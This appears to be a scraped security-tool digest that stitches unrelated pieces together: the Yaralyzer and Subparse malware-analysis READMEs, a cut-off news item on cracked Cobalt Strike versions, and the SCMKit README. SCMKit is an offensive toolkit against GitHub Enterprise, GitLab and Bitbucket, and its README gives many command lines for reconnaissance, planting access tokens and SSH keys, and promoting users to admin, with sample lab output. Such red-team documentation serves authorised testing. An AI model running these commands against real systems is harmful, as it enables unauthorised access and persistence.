Run yaralyze -h to see the command line options (screenshot below).

For info on exporting SVG images, HTML, etc., see Example Output.

Configuration

If you place a filed called .yaralyzer in your home directory or the current working directory then environment variables specified in that .yaralyzer file will be added to the environment each time yaralyzer is invoked. This provides a mechanism for permanently configuring various command line options so you can avoid typing them over and over. See the example file .yaralyzer.example to see which options can be configured this way.

Only one .yaralyzer file will be loaded and the working directory's .yaralyzer takes precedence over the home directory's .yaralyzer.

As A Library

Yaralyzer is the main class. It has a variety of constructors supporting:

  1. Precompiled YARA rules
  2. Creating a YARA rule from a string
  3. Loading YARA rules from files
  4. Loading YARA rules from all .yara file in a directory
  5. Scanning bytes
  6. Scanning a file

Should you want to iterate over the BytesMatch (like a re.Match object for a YARA match) and BytesDecoder (tracks decoding attempt stats) objects returned by The Yaralyzer, you can do so like this:

from yaralyzer.yaralyzer import Yaralyzer

yaralyzer = Yaralyzer.for_rules_files(['/secret/rule.yara'], 'lacan_buys_the_dip.pdf')

for bytes_match, bytes_decoder in yaralyzer.match_iterator():
do_stuff()

Example Output

The Yaralyzer can export visualizations to HTML, ANSI colored text, and SVG vector images using the file export functionality that comes with Rich. SVGs can be turned into png format images with a tool like Inkscape or cairosvg. In our experience they both work though we've seen some glitchiness with cairosvg.

PyPi Users: If you are reading this document on PyPi be aware that it renders a lot better over on GitHub. Pretty pictures, footnotes that work, etc.

Raw YARA match result:

Display hex, raw python string, and various attempted decodings of both the match and the bytes before and after the match (configurable):

Bonus: see what chardet.detect() thinks about the likelihood your bytes are in a given encoding/language:

TODO

  • highlight decodes done at chardets behest
  • deal with repetitive matches


Subparse - Modular Malware Analysis Artifact Collection And Correlation Framework


Subparse, is a modular framework developed by Josh Strochein, Aaron Baker, and Odin Bernstein. The framework is designed to parse and index malware files and present the information found during the parsing in a searchable web-viewer. The framework is modular, making use of a core parsing engine, parsing modules, and a variety of enrichers that add additional information to the malware indices. The main input values for the framework are directories of malware files, which the core parsing engine or a user-specified parsing engine parses before adding additional information from any user-specified enrichment engine all before indexing the information parsed into an elasticsearch index. The information gathered can then be searched and viewed via a web-viewer, which also allows for filtering on any value gathered from any file. There are currently 3 parsing engine, the default parsing modules (ELFParser, OLEParser and PEParser), and 4 enrichment modules (ABUSEEnricher, C APEEnricher, STRINGEnricher and YARAEnricher).

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Getting Started

Software Requirements

To get started using Subparse there are a few requrired/recommened programs that need to be installed and setup before trying to work with our software.

Software Status Link
Docker Required Installation Guide
Python3.8.1 Required Installation Guide
Pyenv Recommended Installation Guide

Additional Requirements

After getting the required/recommended software installed to your system there are a few other steps that need to be taken to get Subparse installed.


Python Requirements
Python requires some other packages to be installed that Subparse is dependent on for its processes. To get the Python set up completed navigate to the location of your Subparse installation and go to the *parser* folder. The following commands that you will need to use to install the Python requirements is:
sudo get apt install build-essential
pip3 install -r ./requirements.txt

Docker Requirements
Since Subparse uses Docker for its backend and web interface, the set up of the Docker containers needs to be completed before being able to use the program. To do this navigate to the root directory of the Subparse installation location, and use the following command to set up the docker instances:
docker-compose up

Note: This might take a little time due to downloading the images and setting up the containers that will be needed by Subparse.

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Installation steps


Usage

Command Line Options

Command line options that are available for subparse/parser/subparse.py:

Argument Alternative Required Description
-h --help No Shows help menu
-d SAMPLES_DIR --directory SAMPLES_DIR Yes Directory of samples to parse
-e ENRICHER_MODULES --enrichers ENRICHER_MODULES No Enricher modules to use for additional parsing
-r --reset No Reset/delete all data in the configured Elasticsearch cluster
-v --verbose No Display verbose commandline output
-s --service-mode No Enters service mode allowing for mode samples to be added to the SAMPLES_DIR while processing

Viewing Results

To view the results from Subparse's parsers, navigate to localhost:8080. If you are having trouble viewing the site, make sure that you have the container started up in Docker and that there is not another process running on port 8080 that could cause the site to not be available.

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General Information Collected

Before any parser is executed general information is collected about the sample regardless of the underlying file type. This information includes:

  • MD5 hash of the sample
  • SHA256 hash of the sample
  • Sample name
  • Sample size
  • Extension of sample
  • Derived extension of sample

Parser Modules

Parsers are ONLY executed on samples that match the file type. For example, PE files will by default have the PEParser executed against them due to the file type corresponding with those the PEParser is able to examine.

Default Modules


ELFParser
This is the default parsing module that will be executed against ELF files. Information that is collected:
  • General Information
  • Program Headers
  • Section Headers
  • Notes
  • Architecture Specific Data
  • Version Information
  • Arm Unwind Information
  • Relocation Data
  • Dynamic Tags

OLEParser
This is the default parsing module that will be executed against OLE and RTF formatted files, this uses the OLETools package to obtain data. The information that is collected:
  • Meta Data
  • MRaptor
  • RTF
  • Times
  • Indicators
  • VBA / VBA Macros
  • OLE Objects

PEParser
This is the default parsing module that will be executed against PE files that match or include the file types: PE32 and MS-Dos. Information that is collected:
  • Section code and count
  • Entry point
  • Image base
  • Signature
  • Imports
  • Exports

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Enricher Modules

These modules are optional modules that will ONLY get executed if specified via the -e | --enrichers flag on the command line.

Default Modules


ABUSEEnricher
This enrichers uses the [Abuse.ch](https://abuse.ch/) API and [Malware Bazaar](https://bazaar.abuse.ch) to collect more information about the sample(s) subparse is analyzing, the information is then aggregated and stored in the Elastic database.
CAPEEnricher
This enrichers is used to communicate with a CAPEv2 Sandbox instance, to collect more information about the sample(s) through dynamic analysis, the information is then aggregated and stored in the Elastic database utilizing the Kafka Messaging Service for background processing.
STRINGEnricher
This enricher is a smart string enricher, that will parse the sample for potentially interesting strings. The categories of strings that this enricher looks for include: Audio, Images, Executable Files, Code Calls, Compressed Files, Work (Office Docs.), IP Addresses, IP Address + Port, Website URLs, Command Line Arguments.
YARAEnricher
This ericher uses a pre-compiled yara file located at: parser/src/enrichers/yara_rules. This pre-compiled file includes rules from VirusTotal and YaraRulesProject

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Developing Custom Parsers & Enrichers

Subparse's web view was built using Bootstrap for its CSS, this allows for any built in Bootstrap CSS to be used when developing your own custom Parser/Enricher Vue.js files. We have also provided an example for each to help get started and have also implemented a few custom widgets to ease the process of development and to promote standardization in the way information is being displayed. All Vue.js files are used for dynamically displaying information from the custom Parser/Enricher and are used as templates for the data.

Note: Naming conventions with both class and file names must be strictly adheared to, this is the first thing that should be checked if you run into issues now getting your custom Parser/Enricher to be executed. The naming convention of your Parser/Enricher must use the same name across all of the files and class names.



Logging

The logger object is a singleton implementation of the default Python logger. For indepth usage please reference the Offical Doc. For Subparse the only logging methods that we recommend using are the logging levels for output. These are:

  • debug
  • warning
  • error
  • critical
  • exception
  • log
  • info


ACKNOWLEDGEMENTS

  • This research and all the co-authors have been supported by NSA Grant H98230-20-1-0326.


Google Identifies 34 Cracked Versions of Popular Cobalt Strike Hacking Toolkit in the Wild

Google Cloud last week disclosed that it identified 34 different hacked release versions of the Cobalt Strike tool in the wild, the earliest of whichΒ shippedΒ in November 2012. The versions, spanning 1.44 to 4.7, add up to a total of 275 unique JAR files, according to findings from the Google Cloud Threat Intelligence (GCTI) team. TheΒ latest versionΒ of Cobalt Strike is version 4.7.2. Cobalt

SCMKit - Source Code Management Attack Toolkit


Source Code Management Attack Toolkit - SCMKit is a toolkit that can be used to attack SCM systems. SCMKit allows the user to specify the SCM system and attack module to use, along with specifying valid credentials (username/password or API key) to the respective SCM system. Currently, the SCM systems that SCMKit supports are GitHub Enterprise, GitLab Enterprise and Bitbucket Server. The attack modules supported include reconnaissance, privilege escalation and persistence. SCMKit was built in a modular approach, so that new modules and SCM systems can be added in the future by the information security community.


Installation/Building

Libraries Used

The below 3rd party libraries are used in this project.

Library URL License
Octokit https://github.com/octokit/octokit.net MIT License
Fody https://github.com/Fody/Fody MIT License
GitLabApiClient https://github.com/nmklotas/GitLabApiClient MIT License
Newtonsoft.Json https://github.com/JamesNK/Newtonsoft.Json MIT License

Pre-Compiled

  • Use the pre-compiled binary in Releases

Building Yourself

Take the below steps to setup Visual Studio in order to compile the project yourself. This requires a .NET library that can be installed from the NuGet package manager.

  • Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Go to "NuGet Package Manager" --> "Package Sources"
  • Add a package source with the URL https://api.nuget.org/v3/index.json
  • Install the below NuGet packages
    • Install-Package Costura.Fody -Version 3.3.3
    • Install-Package Octokit
    • Install-Package GitLabApiClient
    • Install-Package Newtonsoft.Json
  • You can now build the project yourself!

Usage

Arguments/Options

  • -c, -credential - credential for authentication (username:password or apiKey)
  • -s, -system - system to attack (github,gitlab,bitbucket)
  • -u, -url - URL for GitHub Enterprise, GitLab Enterprise or Bitbucket Server
  • -m, -module - module to run
  • -o, -option - options (when applicable)

Systems (-s, -system)

  • github: GitHub Enterprise
  • gitlab: GitLab Enterprise
  • bitbucket: Bitbucket Server

Modules (-m, -module)

  • listrepo: list all repos the current user can see
  • searchrepo: search for a given repo
  • searchcode: search for code containing keyword search term
  • searchfile: search for filename containing keyword search term
  • listsnippet: list all snippets of current user
  • listrunner: list all GitLab runners available to current user
  • listgist: list all gists of current user
  • listorg: list all orgs current user belongs to
  • privs: get privs of current API token
  • addadmin: promote given user to admin role
  • removeadmin: demote given user from admin role
  • createpat: create personal access token for target user
  • listpat: list personal access tokens for a target user
  • removepat: remove personal access token for a target user
  • createsshkey: create SSH key for current user
  • listsshkey: list SSH keys for current user
  • removesshkey: remove SSH key for current user
  • adminstats: get admin stats (users, repos, orgs, gists)
  • protection: get branch protection settings

Module Details Table

The below table shows where each module is supported

Attack Scenario Module Requires Admin? GitHub Enterprise GitLab Enterprise Bitbucket Server
Reconnaissance listrepo No X X X
Reconnaissance searchrepo No X X X
Reconnaissance searchcode No X X X
Reconnaissance searchfile No X X X
Reconnaissance listsnippet No X
Reconnaissance listrunner No X
Reconnaissance listgist No X
Reconnaissance listorg No X
Reconnaissance privs No X X
Reconnaissance protection No X
Persistence listsshkey No X X X
Persistence removesshkey No X X X
Persistence createsshkey No X X X
Persistence listpat No X X
Persistence removepat No X X
Persistence createpat Yes (GitLab Enterprise only) X X
Privilege Escalation addadmin Yes X X X
Privilege Escalation removeadmin Yes X X X
Reconnaissance adminstats Yes X

Examples

List Repos

Use Case

Discover repositories being used in a particular SCM system

Syntax

Provide the listrepo module, along with any relevant authentication information and URL. This will output the repository name and URL.

GitHub Enterprise

This will list all repositories that a user can see.

SCMKit.exe -s github -m listrepo -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listrepo -c apiKey -u https://github.something.local

GitLab Enterprise

This will list all repositories that a user can see.

SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local

Bitbucket Server

This will list all repositories that a user can see.

SCMKit.exe -s bitbucket -m listrepo -c userName:password -u https://bitbucket.something.local

SCMKit.exe -s bitbucket -m listrepo -c apiKey -u https://bitbucket.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m listrepo -c username:password -u https://gitlab.hogwarts.local

==================================================
Module: listrepo
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 8:30:47 PM
==================================================

Name | Visibility | URL
----------------------------------------------------------------------------------------------------------
MaraudersMap | Private | https://gitlab.hogwarts.local/hpotter/maraudersmap
testingStuff | Internal | https://gitlab.hogwarts.local/adumbledore/testingstuff
Spellbook | Internal | https://gitlab.hogwarts.local/hpotter/spellbook findShortestPathToGryffindorSword | Internal | https://gitlab.hogwarts.local/hpotter/findShortestPathToGryffindorSword
charms | Public | https://gitlab.hogwarts.local/hgranger/charms
Secret-Spells | Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
Monitoring | Internal | https://gitlab.hogwarts.local/gitlab-instance-10590c85/Monitoring

Search Repos

Use Case

Search for repositories by repository name in a particular SCM system

Syntax

Provide the searchrepo module and your search criteria in the -o command-line switch, along with any relevant authentication information and URL. This will output the matching repository name and URL.

GitHub Enterprise

The GitHub repo search is a "contains" search where the string you enter it will search for repos with names that contain your search term.

SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"

SCMKit.exe -s github -m searchrepo -c apikey -u https://github.something.local -o "some search term"

GitLab Enterprise

The GitLab repo search is a "contains" search where the string you enter it will search for repos with names that contain your search term.

SCMKit.exe -s gitlab -m searchrepo -c userName:password -u https://gitlab.something.local -o "some search term"

SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"

Bitbucket Server

The Bitbucket repo search is a "starts with" search where the string you enter it will search for repos with names that start with your search term.

SCMKit.exe -s bitbucket -m searchrepo -c userName:password -u https://bitbucket.something.local -o "some search term"

SCMKit.exe -s bitbucket -m searchrepo -c apikey -u https://bitbucket.something.local -o "some search term"

Example Output

Search Code

Use Case

Search for code containing a given keyword in a particular SCM system

Syntax

Provide the searchcode module and your search criteria in the -o command-line switch, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.

GitHub Enterprise

The GitHub code search is a "contains" search where the string you enter it will search for code that contains your search term in any line.

SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"

SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"

GitLab Enterprise

The GitLab code search is a "contains" search where the string you enter it will search for code that contains your search term in any line.

SCMKit.exe -s gitlab -m searchcode -c userName:password -u https://gitlab.something.local -o "some search term"

SCMKit.exe -s gitlab -m searchcode -c apikey -u https://gitlab.something.local -o "some search term"

Bitbucket Server

The Bitbucket code search is a "contains" search where the string you enter it will search for code that contains your search term in any line.

SCMKit.exe -s bitbucket -m searchcode -c userName:password -u https://bitbucket.something.local -o "some search term"

SCMKit.exe -s bitbucket -m searchcode -c apikey -u https://bitbucket.something.local -o "some search term"

Example Output

Search Files

Use Case

Search for files in repositories containing a given keyword in the file name in a particular SCM system

Syntax

Provide the searchfile module and your search criteria in the -o command-line switch, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.

GitHub Enterprise

The GitLab file search is a "contains" search where the string you enter it will search for files that contains your search term in the file name.

SCMKit.exe -s github -m searchfile -c userName:password -u https://github.something.local -o "some search term"

SCMKit.exe -s github -m searchfile -c apikey -u https://github.something.local -o "some search term"

GitLab Enterprise

The GitLab file search is a "contains" search where the string you enter it will search for files that contains your search term in the file name.

SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"

SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"

Bitbucket Server

The Bitbucket file search is a "contains" search where the string you enter it will search for files that contains your search term in the file name.

SCMKit.exe -s bitbucket -m searchfile -c userName:password -u https://bitbucket.something.local -o "some search term"

SCMKit.exe -s bitbucket -m searchfile -c apikey -u https://bitbucket.something.local -o "some search term"

Example Output


C:\source\SCMKit\SCMKit\bin\Release>SCMKit.exe -s bitbucket -m searchfile -c apikey -u http://bitbucket.hogwarts.local:7990 -o jenkinsfile

==================================================
Module: searchfile
System: bitbucket
Auth Type: API Key
Options: jenkinsfile
Target URL: http://bitbucket.hogwarts.local:7990

Timestamp: 1/14/2022 10:17:59 PM
==================================================


[>] REPO: http://bitbucket.hogwarts.local:7990/scm/~HPOTTER/hpotter
[>] FILE: Jenkinsfile

[>] REPO: http://bitbucket.hogwarts.local:7990/scm/STUD/cred-decryption
[>] FILE: subDir/Jenkinsfile

Total matching results: 2

List Snippets

Use Case

List snippets owned by the current user in GitLab

Syntax

Provide the listsnippet module, along with any relevant authentication information and URL.

GitLab Enterprise

SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m listsnippet -c username:password -u https://gitlab.hogwarts.local

==================================================
Module: listsnippet
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:17:36 PM
==================================================

Title | Raw URL
---------------------------------------------------------------------------------------------
spell-script | https://gitlab.hogwarts.local/-/snippets/2/raw

List Runners

Use Case

List all GitLab runners available to the current user in GitLab

Syntax

Provide the listrunner module, along with any relevant authentication information and URL. If the user is an administrator, you will be able to list all runners within the GitLab Enterprise instance, which includes shared and group runners.

GitLab Enterprise

SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m listrunner -c username:password -u https://gitlab.hogwarts.local

==================================================
Module: listrunner
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/25/2022 11:40:08 AM
==================================================

ID | Name | Repo Assigned
---------------------------------------------------------------------------------
2 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/spellbook.git
3 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/maraudersmap.git

List Gists

Use Case

List gists owned by the current user in GitHub

Syntax

Provide the listgist module, along with any relevant authentication information and URL.

GitHub Enterprise

SCMKit.exe -s github -m listgist -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listgist -c apikey -u https://github.something.local

Example Output


C:\>SCMKit.exe -s github -m listgist -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module: listgist
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:43:23 PM
==================================================

Description | Visibility | URL
----------------------------------------------------------------------------------------------------------
Shell Script to Decode Spell | public | https://github-enterprise.hogwarts.local/gist/c11c6bb3f47fe67183d5bc9f048412a1

List Orgs

Use Case

List all organizations the current user belongs to in GitHub

Syntax

Provide the listorg module, along with any relevant authentication information and URL.

GitHub Enterprise

SCMKit.exe -s github -m listorg -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listorg -c apiKey -u https://github.something.local

Example Output


C:\>SCMKit.exe -s github -m listorg -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module: listorg
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:44:48 PM
==================================================

Name | URL
-----------------------------------------------------------------------------------
Hogwarts | https://github-enterprise.hogwarts.local/api/v3/orgs/Hogwarts/repos

Get Privileges of API Token

Use Case

Get the assigned privileges to an access token being used in a particular SCM system

Syntax

Provide the privs module, along with an API key and URL.

GitHub Enterprise

SCMKit.exe -s github -m privs -c apiKey -u https://github.something.local

GitLab Enterprise

SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m privs -c apikey -u https://gitlab.hogwarts.local

==================================================
Module: privs
System: gitlab
Auth Type: API Key
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:18:27 PM
==================================================

Token Name | Active? | Privilege | Description
---------------------------------------------------------------------------------------------------------------------------------
hgranger-api-token | True | api | Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry.
hgranger-api-token | True | read_user | Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API.
hgranger-api-token | True | read_api | Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry.
hgranger-api-token | True | read_repository | Read-only (pull) for the repository through git clone.
hgranger-api-token | True | write_repository | Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled.

Add Admin

Use Case

Promote a normal user to an administrative role in a particular SCM system

Syntax

Provide the addadmin module, along with any relevant authentication information and URL. Additionally, provide the target user you would like to add an administrative role to.

GitHub Enterprise

SCMKit.exe -s github -m addadmin -c userName:password -u https://github.something.local -o targetUserName

SCMKit.exe -s github -m addadmin -c apikey -u https://github.something.local -o targetUserName

GitLab Enterprise

SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName

SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName

Bitbucket Server

Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket.

SCMKit.exe -s bitbucket -m addadmin -c userName:password -u https://bitbucket.something.local -o targetUserName

Example Output


C:\>SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: addadmin
System: gitlab
Auth Type: API Key
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:19:32 PM
==================================================


[+] SUCCESS: The hgranger user was successfully added to the admin role.

Remove Admin

Use Case

Demote an administrative user to a normal user role in a particular SCM system

Syntax

Provide the removeadmin module, along with any relevant authentication information and URL. Additionally, provide the target user you would like to remove an administrative role from.

GitHub Enterprise

SCMKit.exe -s github -m removeadmin -c userName:password -u https://github.something.local -o targetUserName

SCMKit.exe -s github -m removeadmin -c apikey -u https://github.something.local -o targetUserName

GitLab Enterprise

SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName

SCMKit.exe -s gitlab -m removeadmin -c apikey -u https://gitlab.something.local -o targetUserName

Bitbucket Server

Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket.

SCMKit.exe -s bitbucket -m removeadmin -c userName:password -u https://bitbucket.something.local -o targetUserName

Example Output


C:\>SCMKit.exe -s gitlab -m removeadmin -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: removeadmin
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:20:12 PM
==================================================


[+] SUCCESS: The hgranger user was successfully removed from the admin role.

Create Access Token

Use Case

Create an access token to be used in a particular SCM system

Syntax

Provide the createpat module, along with any relevant authentication information and URL. Additionally, provide the target user you would like to create an access token for.

GitLab Enterprise

This can only be performed as an administrator. You will provide the username that you would like to create a PAT for.

SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName

SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName

Bitbucket Server

Creates PAT for the current user authenticating as. In Bitbucket you cannot create a PAT for another user, even as an admin. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. Take note of the PAT ID that is shown after being created. You will need this when you need to remove the PAT in the future.

SCMKit.exe -s bitbucket -m createpat -c userName:password -u https://bitbucket.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m createpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: createpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:51:23 PM
==================================================

ID | Name | Token
-----------------------------------------------------
59 | SCMKIT-AaCND | R3ySx_8HUn6UQ_6onETx

[+] SUCCESS: The hgranger user personal access token was successfully added.


List Access Tokens

Use Case

List access tokens for a user on a particular SCM system

Syntax

Provide the listpat module, along with any relevant authentication information and URL.

GitLab Enterprise

Only requires admin if you want to list another user's PAT's. A regular user can list their own PAT's.

SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser

SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser

Bitbucket Server

List access tokens for current user. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket.

SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local

List access tokens for another user (requires admin). Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket.

SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local -o targetUser

Example Output


C:\>SCMKit.exe -s gitlab -m listpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module: listpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:54:41 PM
==================================================

ID | Name | Active? | Scopes
----------------------------------------------------------------------------------------------
59 | SCMKIT-AaCND | True | api, read_repository, write_repository

Remove Access Token

Use Case

Remove an access token for a user in a particular SCM system

Syntax

Provide the removepat module, along with any relevant authentication information and URL. Additionally, provide the target user PAT ID you would like to remove an access token for.

GitLab Enterprise

Only requires admin if you want to remove another user's PAT. A regular user can remove their own PAT. You have to provide the PAT ID to remove. This ID was shown whenever you created the PAT and also when you listed the PAT.

SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID

SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.something.local -o patID

Bitbucket Server

Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. You have to provide the PAT ID to remove. This ID was shown whenever you created the PAT.

SCMKit.exe -s bitbucket -m removepat -c userName:password -u https://bitbucket.something.local -o patID

Example Output


C:\>SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.hogwarts.local -o 58

==================================================
Module: removepat
System: gitlab
Auth Type: API Key
Options: 59
Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:56:47 PM
==================================================



[*] INFO: Revoking personal access token of ID: 59


[+] SUCCESS: The personal access token of ID 59 was successfully revoked.

Create SSH Key

Use Case

Create an SSH key to be used in a particular SCM system

Syntax

Provide the createsshkey module, along with any relevant authentication information and URL.

GitHub Enterprise

Creates SSH key for the current user authenticating as.

SCMKit.exe -s github -m createsshkey -c userName:password -u https://github.something.local -o "ssh public key"

SCMKit.exe -s github -m createsshkey -c apiToken -u https://github.something.local -o "ssh public key"

GitLab Enterprise

Creates SSH key for the current user authenticating as. Take note of the SSH key ID that is shown after being created. You will need this when you need to remove the SSH key in the future.

SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"

SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"

Bitbucket Server

Creates SSH key for the current user authenticating as. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. Take note of the SSH key ID that is shown after being created. You will need this when you need to remove the SSH key in the future.

SCMKit.exe -s bitbucket -m createsshkey -c userName:password -u https://bitbucket.something.local -o "ssh public key"

Example Output

List SSH Keys

Use Case

List SSH keys for a user on a particular SCM system

Syntax

Provide the listsshkey module, along with any relevant authentication information and URL.

GitHub Enterprise

List SSH keys for current user. This will include SSH key ID's, which is needed when you would want to remove an SSH key.

SCMKit.exe -s github -m listsshkey -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listsshkey -c apiToken -u https://github.something.local

GitLab Enterprise

List SSH keys for current user.

SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://gitlab.something.local

Bitbucket Server

List SSH keys for current user. Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket.

SCMKit.exe -s bitbucket -m listsshkey -c userName:password -u https://bitbucket.something.local

Example Output


C:\>SCMKit.exe -s gitlab -m listsshkey -u http://gitlab.hogwarts.local -c apiToken

==================================================
Module: listsshkey
System: gitlab
Auth Type: API Key
Options:
Target URL: https://gitlab.hogwarts.local

Timestamp: 2/7/2022 4:09:40 PM
==================================================

SSH Key ID | SSH Key Value | Title
---------------------------------------------------------------
9 | .....p50edigBAF4lipVZkAM= | SCMKIT-RLzie
10 | .....vGJLPGHiTwIxW9i+xAs= | SCMKIT-muFGU

Remove SSH Key

Use Case

Remove an SSH key for a user in a particular SCM system

Syntax

Provide the removesshkey module, along with any relevant authentication information and URL. Additionally, provide the target user SSH key ID to remove.

GitHub Enterprise

You have to provide the SSH key ID to remove. This ID was shown whenever you list SSH keys.

SCMKit.exe -s github -m removesshkey -c userName:password -u https://github.something.local -o sshKeyID

SCMKit.exe -s github -m removesshkey -c apiToken -u https://github.something.local -o sshKeyID

GitLab Enterprise

You have to provide the SSH key ID to remove. This ID was shown whenever you created the SSH key and is also shown when listing SSH keys.

SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID

SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID

Bitbucket Server

Only username/password auth is supported to perform actions not related to repos or projects in Bitbucket. You have to provide the SSH key ID to remove. This ID was shown whenever you created the SSH key and is also shown when listing SSH keys.

SCMKit.exe -s bitbucket -m removesshkey -c userName:password -u https://bitbucket.something.local -o sshKeyID

Example Output


C:\>SCMKit.exe -s bitbucket -m removesshkey -u http://bitbucket.hogwarts.local:7990 -c username:password -o 16

==================================================
Module: removesshkey
System: bitbucket
Auth Type: Username/Password
Options: 16
Target URL: http://bitbucket.hogwarts.local:7990

Timestamp: 2/7/2022 1:48:03 PM
==================================================


[+] SUCCESS: The SSH key of ID 16 was successfully revoked.

List Admin Stats

Use Case

List admin stats in GitHub Enterprise

Syntax

Provide the adminstats module, along with any relevant authentication information and URL. Site admin access in GitHub Enterprise is required to use this module

GitHub Enterprise

SCMKit.exe -s github -m adminstats -c userName:password -u https://github.something.local

SCMKit.exe -s github -m adminstats -c apikey -u https://github.something.local

Example Output


C:\>SCMKit.exe -s github -m adminstats -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module: adminstats
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:45:50 PM
==================================================

Admin Users | Suspended Users | Total Users
------------------------------------------------------
1 | 0 | 5


Total Repos | Total Wikis
-----------------------------------
4 | 0


Total Orgs | Total Team Members | Total Teams
----------------------------------------------------------
1 | 0 | 0


Private Gis ts | Public Gists
-----------------------------------
0 | 1

List Branch Protection

Use Case

List branch protections in GitHub Enterprise

Syntax

Provide the protection module, along with any relevant authentication information and URL. Optionally, supply a string in the options parameter to return matching results contained in repo names

GitHub Enterprise

SCMKit.exe -s github -m protection -c userName:password -u https://github.something.local

SCMKit.exe -s github -m protection -c apikey -u https://github.something.local

SCMKit.exe -s github -m protection -c apikey -u https://github.something.local -o reponame

Example Output

C:\>.\SCMKit.exe -u http://github.hogwarts.local -s github -c apiToken -m protection -o public-r

==================================================
Module: protection
System: github
Auth Type: API Key
Options: public-r
Target URL: http://github.hogwarts.local

Timestamp: 8/29/2022 2:02:42 PM
==================================================

Repo | Branch | Protection
----------------------------------------------------------------------------------------------------------
